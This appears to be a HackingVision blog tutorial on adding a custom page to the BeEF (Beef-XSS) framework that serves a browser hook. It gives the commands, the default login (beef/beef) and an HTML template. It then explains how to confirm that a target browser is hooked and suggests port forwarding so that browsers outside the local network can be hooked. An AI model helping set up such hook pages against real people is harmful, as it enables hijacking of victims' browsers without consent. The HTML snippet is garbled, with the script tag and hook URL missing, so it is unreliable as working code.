Beef framework adding custom pages – HackingVision

Beef framework adding custom pages

Welcome to HackingVision, Today we will learn how to add custom pages to Beef framework. We assume you already know the basics of HTML programming.

Step 1: Start Beef-XSS Framework

Let us start by opening Beef-XSS framework, Open a new command terminal enter command Beef-XSS.





Step 2: Logging into Beef-XSS Framework

Launch a web browser and enter your local IP address into the search bar. See the screenshot above change to your local IP Address.


You can find your local IP by using ifconfig command.



Default Credentials for Beef-XSS Framework

Username: beef

Password: beef

After you have logged into Beef-XSS you will be brought to this page.



Step 3: Creating HTML template

Open a new terminal and enter the command below. (This command will create a directory to host our templates from)

mkdir /usr/share/beef-xss/extensions/demos/html/websites



Open a text editor ill be using gedit, copy and paste basic HTML script below to a new text file. Once you have modified HTML template below save file and name file index.html


Save file to /usr/share/beef-xss/extensions/demos/html/websites



<! DOCTYPE html >



<title> what ever u want </title>


var commandModuleStr = ‘” type=”text/javascript”>’ ;

document.write(commandModuleStr ) ;





<p> anything u want </p>




Step 4: Restarting Beef framework

Let us restart beef framework we can do this by opening a command terminal and using the following command.

service beef-xss  restart


In a web browser open up beef framework login.


Replace with your local IP.


To check if our hook works, open a new tab in your browser and go to the following URL replace 192.168.X.X with your local IP address.




If the target browser has been successfully hooked it will pop up under online browsers in Beef framework.

Now we can make commands on the target browser as long as the target stays on the hooked URL. but we can also open a new tab to stay connected if u want to hooked browsers outside your local network look into port forwarding.

Hope you enjoyed this tutorial.

Cloning websites to use with Beef-XSS – HackingVision